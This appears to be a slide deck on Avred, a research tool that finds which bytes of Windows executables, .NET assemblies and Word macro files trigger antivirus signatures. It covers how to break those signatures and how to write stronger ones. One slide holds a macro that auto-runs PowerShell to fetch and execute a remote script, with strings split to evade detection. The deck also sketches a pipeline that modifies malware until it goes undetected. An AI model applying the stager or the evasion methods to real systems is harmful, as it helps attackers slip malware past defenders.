Augmentation: PE EXE

- Dos header
- Nt header
- Section headers
- .data
- .rsrc

Match at 0x400000 and 0x400123
Augmentation: PE EXE

- Dos header
- Nt header
- Section headers
  - .text
  - .data
  - .rsrc

File

Hexdump:

```
00012981  48 81 C4 98 13 00 00 C3 CC CC CC CC CC C3
000129A1  4D 8B 78 2B 49 D7 CC C2 81 00 00 00 00 32 D2 49 C7 C2
000129B1  6A 00 00 00 00 00 4C BB D1 33 C6 0D 02 B2 C2 83 C8 08 4D
000129C1  33 0F 0F 05 13 43 83 61 1A 3A 30 0C 4C BB 88 D1 83 C0
000129D1  3A 49 83 EA 0A 49 83 E9 0A 0F 05 C3 49 83 C2 1C
000129E1  33 0C 4C BB D1 49 83 EA 01 83 C0 50 49 83 C2 01
000129F1  0F 05 05 13 43 83 61 1A 3A 30 0C 4C BB 88 D1 83 C0
00012A01  88 D1 48 33 C6 05 C1 00 00 00 00 00 45 48 38 F8 00
00012A11  74 80 49 8B CC 49 8B D5 4D 8B C6 4D 8B CF 4C BB
00012A21  D1 48 33 C6 05 0D 00 00 00 00 00 00 45 48 38 F8 00
00012A31  84 6A FF FF 49 8B CC 49 8B D5 4D 8B CF 4C BB
00012A41  CF 4C BB D1 48 33 C6 05 BC 00 00 00 00 00 45 48 38
00012A51  F8 00 0F
```

Disassembly:

```
0x12981:  ; CODE XREF from fcn.140005c00 @ 0x140013528(x)
0x12981:  0x140013581  488b8c248013.  mov rcx, qword [arg_1380h]
0x12989:  0x140013589  4833cc  xor rcx, rsp
0x1298c:  0x14001358c  e8df000000  call fcn.140013670
0x12991:  0x140013591  4881c4981300.  add rsp, 0x1398
0x12998:  0x140013598  c3        ret
0x12999:  0x140013599  cc        int3
```
Demo: PE Disassembly
Result: Disassembly of matches

Allows to identify which part of the “Virus” is being identified
  ● Important part of the loader?
  ● A random function?

As a RedTeamer:
  ● Stare at disassembly
  ● Modify source code accordingly
EXE PE DotNet

Augmentation
DotNet:

- DotNet IL code (**CIL**)
  - Similar to Java bytecode
  - Not x86/x64 assembly!
- Stored in .exe files
  - in PE format
  - with additional DotNet headers
- C# widely used for modern RedTeaming tools

![Flowchart Diagram]

- **c# source .cs**
- **CSC Compiler**
- **CIL in .dll/.exe**
- **JIT Compiler**
- **Machine Code**
Augmentation: PE DotNet

- DOS header
- Nt header
- Section headers
- .text
- .rsrc
- .reloc

- CLI Header
- Signature
- [Methods]
- CLR Metadata Header
- Streams Header
- Streams Data
Example dotnet disassembly output with ilspy (C#):

```csharp
ilspycmd -il test.dll
```

```csharp
.method private hidebysig static void '<Main>$' (string[] args) cil managed
{
    // Method begins at RVA 0x2086
    // Header size: 1
    // Code size: 13 (0xd)
    .maxstack 8

    IL_0000: ldstr "a"
    IL_0005: ldc.i4.2
    IL_0006: call int32 Program::'<<Main>$>g__MyMethod|0_0'(string, int32)
    IL_000b: pop
    IL_000c: ret
}
```
Augmentation: PE DotNet

- Dos header
- Nt header
- Section headers
- CLI Header
- Signature
- <Functions>
- CLR Metadata Header
- Streams Header
- Streams Data
- RVA Addresses
- Method Header
- Method Code
- Method Header
- Method Code
Used ilspy first
Wrote a parser for DotNet headers to resolve RVA

Later:
- Dnfile: https://github.com/malwarefrank/dnfile
- Dncil: https://github.com/mandiant/dncil/
Augmentation: PE DotNet

Disassembly

0x390: Function: ::TestMethod
0x391: 72 4b 00 00 70 | ldstr | "Called TestMethod!"
0x396: 17 | ldc.i4.1
0x397: 28 12 01 00 06 | call | Write_Verbose
0x39c: 2a | ret
0x3a0: Function: ::Get_DomainSearcher
0x3a0: 13 30 | MethodHeader: Size:3 Flags:4 Type:3
0x3a2: 06 00 | MethodHeader: maxStack: 6
0x3a4: 20 04 00 00 | MethodHeader: codeSize: 1056
0x3a8: 03 00 00 11 | MethodHeader: localVarSigTok: 285212675
0x3ac: 02 | ldarg.0
0x3ad: 2d 07 | brtrue.s | 0xb6
0x3af: 73 14 0c 00 06 | newobj | .ctor
### Streams:

<table>
<thead>
<tr>
<th>Stream</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>#~</td>
<td>Metadata stream</td>
</tr>
<tr>
<td>#Strings</td>
<td>Namespace, type &amp; member names</td>
</tr>
<tr>
<td>#US</td>
<td>User string, from code</td>
</tr>
<tr>
<td>#GUID</td>
<td>GUID’s</td>
</tr>
<tr>
<td>#Blob</td>
<td>Binary data</td>
</tr>
</tbody>
</table>
Augmentation: PE DotNet

- Dos header
- Nt header
- Section headers
- .text
- .rsrc
- .reloc
- CLI Header
- Signature
- <Functions>
- CLR Metadata Header
- Streams Header
- Stream: #~
- Stream: #Strings
- Stream: #US
- Stream: #Blob

#~ Metadata Stream
- TypeDef's
- MethodDef's
Metadata Stream #~

Hexdump:
```
000341E4  A6 38 10 00 80 27 00 00 00 00 86 08 A3 DC 00 00
000341F4  AE 38 10 00 89 27 00 00 00
```

0x341e8: MethodDef[34]:
- Rva: 0x2780
- Name: set_Commands
- Signature: 20010115126d010e
- ParamList: (empty)
- ImplFlags: 
  - miIL
  - miManaged
- Flags: 
  - mdHideBySig
  - mdPublic
  - mdReuseSlot
  - mdSpecialName
### Metadata Stream #~

#### Info

Not relevant or together with other matches. Check verifier

Section: .text #~

#### Hexdump

<table>
<thead>
<tr>
<th>Hexdump</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>000024CD 00 04 0E FE 02 06 00 1E 14</td>
<td>........</td>
</tr>
</tbody>
</table>

#### Disassembly

<table>
<thead>
<tr>
<th>Dec</th>
<th>Field[11]:</th>
<th>Field[12]:</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x24cc</td>
<td>Name: networkauth</td>
<td>Name: bools</td>
</tr>
<tr>
<td></td>
<td>Signature: 0602</td>
<td>Signature: 061d02</td>
</tr>
<tr>
<td></td>
<td>Flags: fdPrivate</td>
<td>Flags: fdPublic</td>
</tr>
</tbody>
</table>
Word Augmentation
Office files:
- .docm (.xlsm, .pptm)
- Used for initial access with macros
- ZIP File containing
  - Lots of XML files
  - VbaProject file
% unzip P5-5h3ll.docm
Archive: P5-5h3ll.docm
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: word/_rels/document.xml.rels
  inflating: word/document.xml
  inflating: word/vbaProject.bin
  inflating: word/_rels/vbaProject.bin.rels
  inflating: word/theme/theme1.xml
  inflating: word/vbaData.xml
  inflating: word/settings.xml
  inflating: docProps/app.xml
  inflating: word/styles.xml
  inflating: docProps/core.xml
  inflating: word/fontTable.xml
  inflating: word/webSettings.xml
Public Sub Eval(ByVal sPSCmd As String)
    CreateObject("WScript.Shell").Run sPSCmd, 0, True
End Sub

Private Sub Document_Open()
    write_now = "powershell -c " & """"Set-Content -Value 'Local Write PoC' -Path "'C:\tmp.txt"""
    write_staged = "powershell -c " & """"$a = curl http://10.10.2" & "0.106:90" & "03/write; IE" & "X($a)"""
    reshe_1 = "detected, see in _notes"
    reshe_2 = "detected, see in _notes"
    reshe_staged = "powershell -c " & """"$a = curl http://10.10.2" & "0.106:90" & "03/reshe; IE" & "X($a)"""

    cmd = reshe_staged
    res = MsgBox(cmd, vbYesNo, "Continue?")
% python3 olevba.py --show-pcode -c avred/tests/data/word.docm.vbaProject.bin

VBA/ThisDocument - 5150 bytes

Line #0:
  FuncDefn (Public Sub Eval(ByVal sPSCmd As String))

Line #1:
  Ld sPSCmd
  LitDI2 0x0000
  LitVarSpecial (True)
  LitStr 0x000D "WScript.Shell"
  ArgsLd CreateObject 0x0001
  ArgsMemCall Run 0x0003

Line #2:
  EndSub

Line #3:
Line #4:
  FuncDefn (Sub Document_Open())

Line #5:
  LitStr 0x000E "powershell -c "
Match #6
Offset: 4484
Size: 10716
Info: [ThisDocument', '__SRP_2', '__SRP_3', 'Directory', 'kxmnubicq', '__SRP_4', '__SRP_5', '_VBA_PROJECT', 'MiniFat', 'dir', '__SRP_0']

Disassembly
0x22cc: line #2 (0x22cc-0x22e4):
  StartForVariable
  Ld pwtyqakrh
  EndForVariable
  LitDI2 0x0001
  Ld tprzggxus
  FnLen
  LitDI2 0x0002
  ForStep

0x22e4: line #3 (0x22e4-0x2314):
  Ld eywlrntuwucicj
  LitStr 0x0000 "&H"
  Ld tprzggxus
  Ld pwtyqakrh
  LitDI2 0x0002
  ArgsLd Mid$ 0x0003
  Concat
  ArgsLd Val 0x0001
  ArgsLd Chr$ 0x0001
  Concat
  St eywlrntuwucicj
Augmentation: Office

VbaProject.bin

OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)

representing linked objects and embedded objects within container documents.
### Augmentation: Office

<table>
<thead>
<tr>
<th>Header</th>
<th>Mini Chunk 1</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Mini Chunk 2</td>
</tr>
<tr>
<td>Chunk 2</td>
<td>Mini Chunk 3</td>
</tr>
<tr>
<td></td>
<td>Mini Chunk 4</td>
</tr>
<tr>
<td>Chunk 1</td>
<td></td>
</tr>
<tr>
<td>Chunk 1</td>
<td>Chunk 2</td>
</tr>
<tr>
<td>---------</td>
<td>---------</td>
</tr>
<tr>
<td>Mini Chunk 1</td>
<td>Mini Chunk 2</td>
</tr>
<tr>
<td>Mini Chunk 3</td>
<td>Mini Chunk 5</td>
</tr>
<tr>
<td>Mini Chunk 4</td>
<td>Mini Chunk 6</td>
</tr>
<tr>
<td>Mini Chunk 7</td>
<td>Mini Chunk 5</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Reading the source of
https://github.com/decalage2/olefile
https://github.com/decalage2/oletools
To calculate the file offset of a word VRA made me cry.
Augmentation: Why

- Match 0: Green
  - Dominant :-)

- Match 1: Grey
  - Weak :-(

- Match 2: Red
  - Robust :-(

- Match 3

Avred
Languages used in Red Teaming:
- C#
- C/C++
- Nim
- Python
- Go
- Powershell
Findings: ThreatCheck Comparison

**ThreatCheck:**
- De-facto standard tool for signature reversing
- Shows only one (1) match
- Often not the relevant match
- Works well on some “easy” files
- Doesn’t work on many files
- Doesn’t consider PE/DOTNET headers
PE: Signatures in which sections?

<table>
<thead>
<tr>
<th>Section</th>
<th>Matches Cnt</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>298</td>
</tr>
<tr>
<td>.idata</td>
<td>196</td>
</tr>
<tr>
<td>.rdata</td>
<td>131</td>
</tr>
<tr>
<td>.data</td>
<td>116</td>
</tr>
<tr>
<td>.rsrc</td>
<td>10</td>
</tr>
</tbody>
</table>

PE:
60% Data
40% Code
### PE DotNet: Signatures in which sections?

**DotNet:**

- Mostly Data:
  - #Strings
  - #~ Metadata
  - Mostly MethodDef

- Not so much Code

#### Matches Cnt

<table>
<thead>
<tr>
<th>Section</th>
<th>Matches Cnt</th>
</tr>
</thead>
<tbody>
<tr>
<td>#Strings</td>
<td>500</td>
</tr>
<tr>
<td>#~</td>
<td>580</td>
</tr>
<tr>
<td>methods</td>
<td>167</td>
</tr>
<tr>
<td>.rsrc</td>
<td>85</td>
</tr>
<tr>
<td>Blob</td>
<td>80</td>
</tr>
<tr>
<td>#US</td>
<td>20</td>
</tr>
<tr>
<td>guid</td>
<td>8</td>
</tr>
</tbody>
</table>
Avred

Findings

- Most signatures have at least one **dominant** match
  - Exception: CobaltStrike
- **PE Headers** and similar are not relevant / checked
- Most files have between 1 and 40 **matches**

<table>
<thead>
<tr>
<th>Only Code</th>
<th>Only Data</th>
<th>Code &amp; Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>10%</td>
<td>45%</td>
<td>45%</td>
</tr>
</tbody>
</table>
Findings: RedTeaming tools

- Rules sometimes seem man-made
  - Often have relevant data or code in it
- AV seems to parse PE header
- AV seems to parse PE DotNet header

Word:
- Only vbaProject.bin used
- Signatures are not restricted to sections
  - Ole FAT Fragmentation not really considered (of course)
Outflank

Automatic signature breaker
Use matches to break signature

Modify code/data as defined in matches matches to break signature

“Obfuscation”

https://unprotect.it/technique/code-cave/
A code cave is a series of null bytes in a process's memory. The code cave inside a process's memory is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions.
<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x8b0:</td>
<td>0x004014b8</td>
<td>sub rsp, 0x28</td>
</tr>
<tr>
<td>0x8b4:</td>
<td>0x004014b4</td>
<td>mov dword [0x0044a070], 1</td>
</tr>
<tr>
<td>0x8be:</td>
<td>0x004014be</td>
<td>call fcn.00402a80</td>
</tr>
<tr>
<td>0x8c3:</td>
<td>0x004014c3</td>
<td>call fcn.00401180</td>
</tr>
<tr>
<td>0x8c8:</td>
<td>90</td>
<td>nop</td>
</tr>
<tr>
<td>0x8c9:</td>
<td>90</td>
<td>nop</td>
</tr>
<tr>
<td>0x8ca:</td>
<td>0x004014ca</td>
<td>add rsp, 0x28</td>
</tr>
<tr>
<td>0x8ce:</td>
<td>0x004014ce</td>
<td>ret</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x59b:</td>
<td>0x0040119b</td>
<td>mov eax, dword [var_4h]</td>
</tr>
<tr>
<td>0x59e:</td>
<td>0x0040119e</td>
<td>mov esp, ebp</td>
</tr>
<tr>
<td>0x5a0:</td>
<td>0x004011a0</td>
<td>pop ebp</td>
</tr>
<tr>
<td>0x5a1:</td>
<td>0x004011a1</td>
<td>ret</td>
</tr>
<tr>
<td>0x5a2:</td>
<td>cc</td>
<td>int3</td>
</tr>
<tr>
<td>0x5a3:</td>
<td>cc</td>
<td>int3</td>
</tr>
</tbody>
</table>
PE EXE Obfuscator

- **Goal:** Just changing one byte in a dominant match
  - Replacing 1-byte instructions like NOP / INT3
- **Result:**
  - doesn't work well
  - Signatures don't seem to cover irrelevant code like NOP slides

Nerding about NOP sleds on x64

- **NOP:** No Operation = 0x90
- **Only NOP is a 1-byte NOP**
  - Close: int3, cld, std
- **Several kinds of 2-byte NOPs**
  - Ask ChatGPT about it
Outflank: Swap

```
00000000 66 08 8b 07 8b 08 8b 09 8b 0a 8b 0b 8b 0c 8b 0d 8b 0e 8b 0f 8b 10 8b 11 8b 12 8b 13 8b 14 8b 15 8b 16 8b 17 8b 18 8b 19 8b 1a 8b 1b 8b 1c 8b 1d 8b 1e 8b 1f 8b 20 8b 21 8b 22 8b 23 8b 24 8b 25 8b 26 8b 27 8b 28 8b 29 8b 2a 8b 2b 8b 2c 8b 2d 8b 2e 8b 2f 8b 30 8b 31 8b 32 8b 33 8b 34 8b 35 8b 36 8b 37 8b 38 8b 39 8b 3a 8b 3b 8b 3c 8b 3d 8b 3e 8b 3f 8b 40 8b 41 8b 42 8b 43 8b 44 8b 45 8b 46 8b 47 8b 48 8b 49 8b 4a 8b 4b 8b 4c 8b 4d 8b 4e 8b 4f 8b 50 8b 51 8b 52 8b 53 8b 54 8b 55 8b 56 8b 57 8b 58 8b 59 8b 5a 8b 5b 8b 5c 8b 5d 8b 5e 8b 5f 8b 60 8b 61 8b 62 8b 63 8b 64 8b 65 8b 66 8b 67 8b 68 8b 69 8b 6a 8b 6b 8b 6c 8b 6d 8b 6e 8b 6f 8b 70 8b 71 8b 72 8b 73 8b 74 8b 75 8b 76 8b 77 8b 78 8b 79 8b 7a 8b 7b 8b 7c 8b 7d 8b 7e 8b 7f 8b 80 8b 81 8b 82 8b 83 8b 84 8b 85 8b 86 8b 87 8b 88 8b 89 8b 8a 8b 8b 8c 8b 8d 8b 8e 8b 8f 8b 90 8b 91 8b 92 8b 93 8b 94 8b 95 8b 96 8b 97 8b 98 8b 99 8b 9a 8b 9b 8b 9c 8b 9d 8b 9e 8b 9f 8b a0 8b a1 8b a2 8b a3 8b a4 8b a5 8b a6 8b a7 8b a8 8b a9 8b aa 8b ab 8b ac 8b ad 8b ae 8b af 8b b0 8b b1 8b b2 8b b3 8b b4 8b b5 8b b6 8b b7 8b b8 8b b9 8b ba 8b bb 8b bc 8b bd 8b be 8b bf 8b c0 8b c1 8b c2 8b c3 8b c4 8b c5 8b c6 8b c7 8b c8 8b c9 8b ca 8b cb 8b cc 8b cd 8b ce 8b cf 8b d0 8b d1 8b d2 8b d3 8b d4 8b d5 8b d6 8b d7 8b d8 8b d9 8b da 8b db 8b dc 8b dd 8b de 8b df 8b e0 8b e1 8b e2 8b e3 8b e4 8b e5 8b e6 8b e7 8b e8 8b e9 8b ea 8b eb 8b ec 8b ed 8b ef 8b f0 8b f1 8b f2 8b f3 8b f4 8b f5 8b f6 8b f7 8b f8 8b f9 8b fa 8b fb 8b fc 8b fd 8b fe 8b ff
```
PE EXE Obfuscator with swapping lines
  ○ Find two lines which don't work on the same registers (R2 ESIL)
  ○ Swap them
● Works sometimes
  ○ Many matches don't have swap'able lines
"offset": 4204128,
"opcode": "xchg eax, esi",
"disasm": "xchg eax, esi",
"esil":
  "eax,esi,^,esi,=,esi,eax,^,eax,=,eax,esi,^,esi,=",
"refptr": false,
"fcn_addr": 0,
"fcn_last": 0,
"size": 1,
"bytes": "96",
"family": "cpu",
"type": "mov",
"reloc": false,
"type_num": 9,
"type2_num": 0
### Outflank: DotNet Method Header

<table>
<thead>
<tr>
<th>Fat Header Entry and Its Size</th>
<th>Value</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>Header type, Flags, and header size (WORD)</td>
<td>0x3013 (0011000000010011)</td>
<td>The upper 4 bits (0011) hold the header size in DWORDs; that is, 3. The next 10 bits (0000000100) hold the Flags value (0x4), which means that local variables must be initialized. The lower 2 bits (11) indicate the header type (Fat).</td>
</tr>
<tr>
<td>MaxStack (WORD)</td>
<td>0x1</td>
<td>Maximum stack size in slots (items).</td>
</tr>
<tr>
<td>CodeSize (DWORD)</td>
<td>0x0b</td>
<td>IL code size in bytes (without method header).</td>
</tr>
<tr>
<td>LocalVarSigTok (DWORD)</td>
<td>0x0</td>
<td>Token of the local variables signature. It’s equal to zero since no local variables are presented.</td>
</tr>
</tbody>
</table>
Augmentation gives us byte-level interpretation of the match
Method header: max-stack size
Changing it: Not much luck
<Show Outflank’able files & patches>
Proposed DotNet Obfuscator:
● Source code level
● Add arguments to functions
● Rename variables and functions
● Change method stack size and length

https://github.com/obfuscar/obfuscar
https://github.com/NotPrab/.NET-Obfuscator

https://github.com/yck1509/ConfuserEx (abonded)
https://github.com/XenocodeRCE/neo-ConfuserEx (abonded too)

<table>
<thead>
<tr>
<th>Section</th>
<th>Matches Cnt</th>
</tr>
</thead>
<tbody>
<tr>
<td>#Strings</td>
<td>500</td>
</tr>
<tr>
<td>#~</td>
<td>580</td>
</tr>
<tr>
<td>methods</td>
<td>167</td>
</tr>
<tr>
<td>.rsrc</td>
<td>85</td>
</tr>
<tr>
<td>Blob</td>
<td>80</td>
</tr>
<tr>
<td>#US</td>
<td>20</td>
</tr>
<tr>
<td>guid</td>
<td>8</td>
</tr>
</tbody>
</table>
Many different interpretations of “obfuscation”
- Against reversing?
- Against analysis?
- Against cracking?

Signature-breaker is different
- Not against humans, but static signatures
- Just need to change the right bytes (same size)
- Augmentation to gain detailed information
- But: Can be done generally (without matches)
- Open research area, but not in my scope
Conclusion
Conclusion: Reducer

Reducer:
- Avred focuses on identifying matches
  - Analysis of signatures
- Lots of corner cases
  - Tuning divide-and-conquer algorithm
  - Skipping headers (PE, DotNet)
  - Multiple scan iterations
  - Verification
  - Match- and signature conclusion
- Identifying matches works well
  - Most of the time
  - Focus on dominant matches
  - Actual signature may be more complicated
Signature Quality:

- AV Signatures can be strong or weak
  - Quality varies
  - Source of signatures?

- Important RedTeaming tools seem to have good signatures
  - Mimikatz, CobaltStrike

- Identifying matches can make obfuscation easy
  - Obfuscators still needed at the end

- Reliably detecting matches/signatures is still not a completely explored field
AV Conclusion:

● Defender stronk
  ○ With Chrome / Edge
  ○ AMSI-only scan does not include “CDP”
● Firefox, AVG, Avast easier to bypass
Conclusion: Outflank

Outflanking:
- Outflanking not primary objective
  - Most signatures seem to be using Data (not Code)
  - Generic obfuscater dont need matches
  - Avred can give some pointers on where to focus development
Better signatures

- Identify hard to change things to sig’
- Invest more time for long-lasting tools (e.g. mimikatz)
- Use “OR” more so than “AND” to make signatures more robust

However, it is important to stress that low-cost detections are typically low cost to evade. YARA signatures generally can be thought of as having vast breadth but with limited depth (i.e. they are relatively quick and low cost to churn out/automate but have limited robustness for long term detection efficacy).

https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/
Further research:

- Compare between AV’s
  - Assumption: It looks about the same
- Compare identified matches with original (yara) rules (OSS Avira?)
- Integrate avred into a malware CI/CD pipeline
- Plugins:
  - Go augmentation
  - COFF support
  - etc.
Runtime executor:
- Send malware as part of a CI/CD pipeline to execute remotely
  - ISO -> LNK -> Powershell.exe -> .bat -> rundll32 -> CobaltStrike
- Dynamic analysis from AV, EDR
- Feedback based on captured event logs?
- Modify malware until not detected anymore
Detect activity, not tools

- For most attackers: command line usecases, lolbins
- Honeypot AD objects, users, files and services
- AD auditing to detect information gathering, ticket misuse and lateral movement (DefenderForIdentity)
- Identify Psexec communication with NIDS
- 2FA
- Heuristics (IAT), EDR, sandbox execution, machine learning…
80's AV
VIRTUAL COMPUTER DECRIPTING POLYMORPHIC CODE

2020 AV
WHY U CHANGE STRING